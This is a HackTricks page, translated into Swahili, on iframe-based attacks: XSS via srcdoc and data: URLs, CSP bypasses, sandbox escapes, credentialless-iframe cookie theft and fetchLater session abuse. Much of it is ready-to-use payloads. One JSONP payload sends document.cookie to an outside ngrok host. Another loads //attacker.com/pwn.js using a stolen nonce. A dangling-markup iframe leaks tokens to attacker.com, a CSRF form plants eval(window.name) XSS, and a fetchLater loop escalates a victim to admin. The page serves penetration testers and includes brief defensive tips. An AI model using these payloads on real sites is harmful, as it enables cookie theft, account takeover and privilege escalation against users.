Iframes katika XSS, CSP na SOP

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

Iframes katika XSS

Kuna njia 3 za kuonyesha maudhui ya ukurasa uliowekwa katika iframe:

  • Kupitia src kuonyesha URL (URL inaweza kuwa cross origin au same origin)
  • Kupitia src kuonyesha maudhui kwa kutumia protocol ya data:
  • Kupitia srcdoc kuonyesha maudhui

Kupata vigezo vya Parent & Child vars

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Ikiwa utapata HTML ya awali kupitia http server (kama python3 -m http.server) utagundua kuwa script zote zitaendeshwa (kwa kuwa hakuna CSP inayozuia)., parent won’t be able to access the secret var inside any iframe na only the iframes if2 & if3 (which are considered to be same-site) can access the secret in the original window.
Tambua jinsi if4 inachukuliwa kuwa na null origin.

srcdoc quirks that matter in real exploits

Maelezo mawili kuhusu srcdoc ni rahisi kukosa wakati wa exploitation:

  • Isipo iframe iwe sandboxed bila allow-same-origin, document ya srcdoc ni same-origin with the parent. Kwa hivyo, kuingiza attacker-controlled HTML ndani ya srcdoc kawaida ni sawa na kumpa ufikiaji wa moja kwa moja wa DOM kwenye document ya juu.
  • Ingawa URL ya document ni about:srcdoc, relative URLs are resolved using the embedding page URL as the base URL. Hii inamaanisha payloads kama <script src="/upload/payload.js"></script> au <img src="/internal/debug"> zitalenga parent origin, sio about:srcdoc.

Practical payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

Hii ni hasa muhimu unapodhibiti tu markup lakini unajua njia ya same-origin inayorejesha JavaScript, JSONP, au HTML iliyodhibitiwa na mshambuliaji bila CSP kali.

Iframes na CSP

Tip

Tafadhali zingatia jinsi katika bypasses zifuatazo jibu la ukurasa uliowekwa ndani ya iframe halina header yoyote ya CSP inayozuia utekelezaji wa JS.

Thamani ya self ya script-src haitaruhusu utekelezaji wa msimbo wa JS kwa kutumia protocol ya data: au attribute ya srcdoc.
Hata hivyo, hata thamani ya none ya CSP itaruhusu utekelezaji wa iframes zinazoweka URL (kamili au tu njia) katika attribute ya src.
Kwa hiyo inawezekana kupita CSP ya ukurasa kwa:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Angalia jinsi CSP iliyopita inaruhusu tu utekelezaji wa inline script. Hata hivyo, tu scripts if1 na if2 zitatekelezwa lakini ni if1 pekee itakayoweza kufikia parent secret.

Hivyo, inawezekana kupita CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuiingiza kupitia iframe hata kwa script-src 'none'. Hii inaweza pia kufanywa kwa kutumia vibaya same-site JSONP endpoint.

Unaweza kujaribu hili kwa senario ifuatayo ambapo cookie inachukuliwa hata kwa script-src 'none'. Endesha tu application na uifikie kwa browser yako:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Mbinu Mpya (2023-2025) za CSP bypass kwa iframes

Jamii ya utafiti inaendelea kugundua njia za ubunifu za kutumia iframes kuvunja sera za kuzuia. Hapa chini unaweza kupata mbinu muhimu zaidi zilizochapishwa katika miaka michache iliyopita:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Wakati application inarudisha HTML lakini CSP kali inazuia utekelezaji wa script, bado unaweza leak sensitive tokens kwa kuingiza dangling <iframe name> attribute. Mara markup sehemu inapochambuliwa, attacker script inayofanya kazi katika origin tofauti inaelekeza frame kwenda about:blank na kusoma window.name, ambayo sasa ina kila kitu hadi alama inayofuata ya nukuu (kwa mfano CSRF token). Kwa sababu hakuna JavaScript inayoendesha katika muktadha wa mwathiriwa, shambulio kawaida hukwepa script-src 'none'. PoC ndogo ni:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – CSP nonces zinaweza kusomwa kutoka DOM na nyaraka za same-origin. Ikiwa attacker anaweza kuingiza au kupakia ukurasa wa HTML wa same-origin na kuupakia kwenye iframe, child frame inaweza kusoma top.document.querySelector('[nonce]').nonce na kuunda elements mpya za <script nonce>. Hii inabadilisha same-origin HTML injection kuwa utekelezaji kamili wa script hata chini ya strict-dynamic (kwa sababu nonce tayari inatambulika kama ya kuaminika). Gadget ifuatayo inapandisha injection ya markup kuwa XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – Ukurasa ambao haujumuishi directive ya form-action unaweza kuona fomu yake ya login ikilengwa upya kutoka iframe iliyopigwa au HTML inline kwa njia ambayo password managers hujaza kwa wepesi na kuwasilisha credentials kwa domain ya nje, hata wakati script-src 'none' ipo. Daima zingatia kuongeza form-action pamoja na default-src!

Vidokezo vya ulinzi (orodha ya haraka)

  1. Daima tuma maelekezo yote ya CSP yanayodhibiti muktadha wa sekondari (form-action, frame-src, child-src, object-src, etc.).
  2. Usitegemee nonces kuwa siri—tumia strict-dynamic na ondoa injection points.
  3. Unapohitajika kuingiza nyaraka zisizoaminika tumia sandbox="allow-scripts allow-same-origin" kwa umakini mkubwa (au bila allow-same-origin ikiwa unahitaji tu kutenganisha utekelezaji wa script).
  4. Fikiria uanzishaji wa defense-in-depth COOP+COEP; attribute mpya <iframe credentialless> (§ below) inakuwezesha kufanya hivyo bila kuvunja third-party embeds.

Payloads Nyingine zilizopatikana porini

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Sandbox ya iframe

Yaliyomo ndani ya iframe yanaweza kuwekwa vikwazo vya ziada kwa kutumia attribute ya sandbox. Kwa default, attribute hii haitekelezwi, ambayo ina maana hakuna vikwazo vimewekwa.

Inapotumika, attribute ya sandbox inaweka vikwazo kadhaa:

  • Yaliyomo yanachukuliwa kana kwamba yanatoka kwenye source ya kipekee.
  • Jaribio lolote la kuwasilisha fomu linazuiwa.
  • Utekelezaji wa scripts unakataliwa.
  • Upatikanaji wa API fulani umezimwa.
  • Inazuia links kuingiliana na browsing contexts nyingine.
  • Matumizi ya plugins kupitia <embed>, <object>, <applet>, au tags zinazofanana hayaruhusiwi.
  • Inazuia yaliyomo kuvinjari muktadha wa kuvinjari wa ngazi ya juu kwa niaba yake.
  • Vipengele vinavyosababishwa kiotomatiki, kama kucheza video au auto-focusing ya controls za fomu, vinazuia.

Tip: Browsers za kisasa zinaunga mkono bendera za kina kama allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, n.k. Ziunganishe ili kutoa tu uwezo wa chini unaohitajika na programu iliyowekwa.

Thamani ya attribute inaweza kuachwa tupu (sandbox="") ili kutumika kwa vikwazo vyote vilivyotajwa hapo juu. Kwa njia mbadala, inaweza kuwekwa kama orodha ya maneno yaliyotenganishwa kwa nafasi ambayo yanatoa haki kwa iframe kutoka kwa vikwazo maalum.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Ikiwa ukurasa uliowekwa ni same-origin na ukimpa zote mbili allow-scripts na allow-same-origin, sandbox inakuwa kizuizi dhaifu sana. Mtoto anaweza kutekeleza JavaScript, kufikia top.document, na hata kuondoa sifa ya sandbox kutoka kwenye kipengele chake cha <iframe>:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

Katika vitendo, sandbox="allow-scripts allow-same-origin" inapaswa kutambulika kama hatari kwa same-origin content inayoadhimishwa na mshambuliaji. Inaendelea kuwa ya matumizi kwa baadhi ya third-party embeds, lakini si mpaka wa kutenganisha dhidi ya HTML ya same-origin yenye nia mbaya.

Credentialless iframes

Kama ilivyoelezwa katika this article, the credentialless flag katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma credentials katika ombi wakati ikidumisha same origin policy (SOP) ya ukurasa uliopakuliwa ndani ya iframe.

Since Chrome 110 (February 2023) the feature is enabled by default na spec inaendelea kuingizwa kama kiwango katika browsers chini ya jina anonymous iframe. MDN inaelezea kama: “mfumo wa kupakia third-party iframes katika brand-new, ephemeral storage partition ili hakuna cookies, localStorage or IndexedDB zishirikishwe na real origin”. Matokeo kwa washambuliaji na walinzi:

  • Scripts katika credentialless iframes tofauti bado zinashiriki the same top-level origin na zinaweza kuingiliana kwa uhuru kupitia DOM, na kufanya multi-iframe self-XSS attacks kuwa yanayoweza kutekelezeka (see PoC below).
  • Kwa sababu network imewekwa credential-stripped, ombi lolote ndani ya iframe linafanya kazi kwa vitendo kama session isiyothibitishwa – endpoints zilizo na CSRF protection kawaida hufeli, lakini public pages leakable via DOM bado ziko ndani ya wigo.
  • Storage ime partitioned by a top-level document nonce: credentialless frames kwenye ukurasa uleule zinaweza kushiriki storage kati yao, lakini inafutwa wakati top-level document inapotupwa.
  • Pop-ups zinazotokana na credentialless iframe hupata implicit rel="noopener", na kuvunja baadhi ya OAuth flows.
  • Inatarajiwa browsers zit disable autofill/password managers ndani ya credentialless iframes, kupunguza credential theft via autofill katika muktadha huu.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Mfano wa Exploit: Self-XSS + CSRF

Katika shambulio hili, mshambuliaji huandaa ukurasa wa wavuti hatari wenye 2 iframe:

  • Iframe inayopakia ukurasa wa mwathiriwa na bendera ya credentialless pamoja na CSRF inayosababisha XSS (Fikiria Self-XSS katika username ya mtumiaji):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Iframe nyingine ambayo mtumiaji ameingia kweli (bila bendera ya credentialless).

Kisha, kupitia XSS inawezekana kufikia iframe nyingine kwa kuwa zina SOP sawa na kuiba cookie kwa mfano kwa kutekeleza:

alert(window.top[1].document.cookie);

fetchLater Attack

Kama ilivyoelezwa katika this article API fetchLater inaruhusu kusanidi ombi litakalotekelezwa baadaye. Hii inaweza kutumika vibaya kwa, kwa mfano, kuingia (login) kwa mwenyeathirika ndani ya session ya mshambuliaji (kwa Self-XSS), kupanga ombi la fetchLater (kwa mfano kubadilisha password ya mtumiaji wa sasa), na kutoka (logout) katika session ya mshambuliaji. Kisha, wakati mwenyeathirika anapo login kwenye session yao wenyewe, ombi lililocheleweshwa linaweza kutekelezwa kwa kutumia cookies zinazopatikana wakati wa dispatch, na kubadilisha password ya mwenyeathirika kuwa ile iliyowekwa na mshambuliaji.

Operational notes:

  • fetchLater ilianza Chrome origin trial mwaka 2024 na ilitolewa katika Chrome 135 (April 2025), hivyo fanya feature-detect kabla ya kutegemea.
  • Majibu hayapatikani kwa JavaScript; body/headers zinapuuzwa mara tu ombi lililocheleweshwa linapotumwa.
  • CSP enforcement inatumia connect-src (si script-src) kwa maombi yaliyocheleweshwa.
  • Maombi yanafanyika wakati wa page unload au activateAfter inapokwisha (ilicho kwanza kutokea).
  • Chelewisho cha juu kwa ombi moja kwa sasa ni 299000 ms, hivyo kusubiri kwa muda mrefu kunahitaji kupanga tena maombi kadhaa yaliyocheleweshwa.

Kwa njia hii hata kama URL ya mwenyeathirika haiwezi kupakiwa ndani ya iframe (kwa sababu ya CSP au vizingiti vingine), mshambuliaji bado anaweza kutekeleza ombi ndani ya session ya mwenyeathirika.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes katika SOP

Angalia kurasa zifuatazo:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks